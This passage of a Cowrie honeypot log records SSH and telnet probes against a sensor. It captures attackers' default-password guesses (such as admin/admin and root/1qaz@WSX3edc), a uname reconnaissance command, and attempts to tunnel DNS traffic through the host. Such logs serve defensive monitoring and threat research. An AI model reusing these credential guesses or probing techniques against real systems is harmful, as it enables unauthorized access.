21-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:24.942790Z","src_ip":"130.12.180.51","session":"d594bd8fa9df","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:25.189562Z","src_ip":"130.12.180.51","session":"d594bd8fa9df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:25.723681Z","src_ip":"130.12.180.51","session":"d594bd8fa9df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56774,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a7a72403621","protocol":"ssh","message":"New connection: 193.32.162.145:56774 (10.17.0.5:22) [session: 1a7a72403621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.058908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.079150Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.163013Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.593976Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.848306Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.851794Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.974952Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:36:52.980362Z","src_ip":"193.32.162.145","session":"1a7a72403621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.20339512825012,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:37:06.765705Z","src_ip":"212.55.149.117","session":"19e01b100c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":24938,"dst_ip":"10.17.0.5","dst_port":23,"session":"4108ade8e807","protocol":"telnet","message":"New connection: 212.55.149.117:24938 (10.17.0.5:23) [session: 4108ade8e807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:37:32.896191Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":9740,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d981866a65","protocol":"ssh","message":"New connection: 87.251.64.176:9740 (10.17.0.5:22) [session: e5d981866a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:20.020728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:20.026117Z","src_ip":"87.251.64.176","session":"e5d981866a65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:20.123947Z","src_ip":"87.251.64.176","session":"e5d981866a65","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:20.743256Z","src_ip":"87.251.64.176","session":"e5d981866a65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:20.842807Z","session":"e5d981866a65","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:20.945157Z","src_ip":"87.251.64.176","session":"e5d981866a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:21.047964Z","src_ip":"87.251.64.176","session":"e5d981866a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.51643967628479,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:36.412400Z","src_ip":"212.55.149.117","session":"4108ade8e807","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48158,"dst_ip":"10.17.0.5","dst_port":22,"session":"6141b1c7370f","protocol":"ssh","message":"New connection: 193.32.162.145:48158 (10.17.0.5:22) [session: 6141b1c7370f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:57.370925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:57.374985Z","src_ip":"193.32.162.145","session":"6141b1c7370f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:57.476390Z","src_ip":"193.32.162.145","session":"6141b1c7370f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:57.789644Z","src_ip":"193.32.162.145","session":"6141b1c7370f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:38:58.894864Z","src_ip":"193.32.162.145","session":"6141b1c7370f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":62258,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12de8f73429","protocol":"telnet","message":"New connection: 212.55.149.117:62258 (10.17.0.5:23) [session: d12de8f73429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:22.477760Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":41576,"dst_ip":"10.17.0.5","dst_port":23,"session":"17340be9aef1","protocol":"telnet","message":"New connection: 212.55.149.117:41576 (10.17.0.5:23) [session: 17340be9aef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:55.673686Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36516,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c854f1e804","protocol":"ssh","message":"New connection: 103.15.226.202:36516 (10.17.0.5:22) [session: c0c854f1e804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:57.710239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:57.717910Z","src_ip":"103.15.226.202","session":"c0c854f1e804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:57.968441Z","src_ip":"103.15.226.202","session":"c0c854f1e804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:58.706475Z","src_ip":"103.15.226.202","session":"c0c854f1e804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:39:59.953452Z","src_ip":"103.15.226.202","session":"c0c854f1e804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.88862419128418,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:40:21.366274Z","src_ip":"212.55.149.117","session":"d12de8f73429","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30757,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f5c1c43c607","protocol":"telnet","message":"New connection: 212.55.149.117:30757 (10.17.0.5:23) [session: 2f5c1c43c607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:40:23.619814Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39576,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4785a4a42ba","protocol":"ssh","message":"New connection: 193.32.162.145:39576 (10.17.0.5:22) [session: c4785a4a42ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:07.644206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:07.650069Z","src_ip":"193.32.162.145","session":"c4785a4a42ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:07.755025Z","src_ip":"193.32.162.145","session":"c4785a4a42ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:08.072266Z","src_ip":"193.32.162.145","session":"c4785a4a42ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:09.180014Z","src_ip":"193.32.162.145","session":"c4785a4a42ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01760411262512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:55.691149Z","src_ip":"212.55.149.117","session":"17340be9aef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8219,"dst_ip":"10.17.0.5","dst_port":23,"session":"2795f4b7f1e1","protocol":"telnet","message":"New connection: 212.55.149.117:8219 (10.17.0.5:23) [session: 2795f4b7f1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:41:58.149424Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":46794,"dst_ip":"10.17.0.5","dst_port":23,"session":"346c9d8d7af1","protocol":"telnet","message":"New connection: 212.55.149.117:46794 (10.17.0.5:23) [session: 346c9d8d7af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:18.009709Z"}
{"eventid":"cowrie.session.closed","duration":118.81185674667358,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:22.431544Z","src_ip":"212.55.149.117","session":"2f5c1c43c607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53124,"dst_ip":"10.17.0.5","dst_port":22,"session":"3024e48275fa","protocol":"ssh","message":"New connection: 87.251.64.176:53124 (10.17.0.5:22) [session: 3024e48275fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:32.319464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:32.325054Z","src_ip":"87.251.64.176","session":"3024e48275fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:32.421785Z","src_ip":"87.251.64.176","session":"3024e48275fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:32.713925Z","src_ip":"87.251.64.176","session":"3024e48275fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:42:32.817710Z","session":"3024e48275fa","protocol":"ssh"}
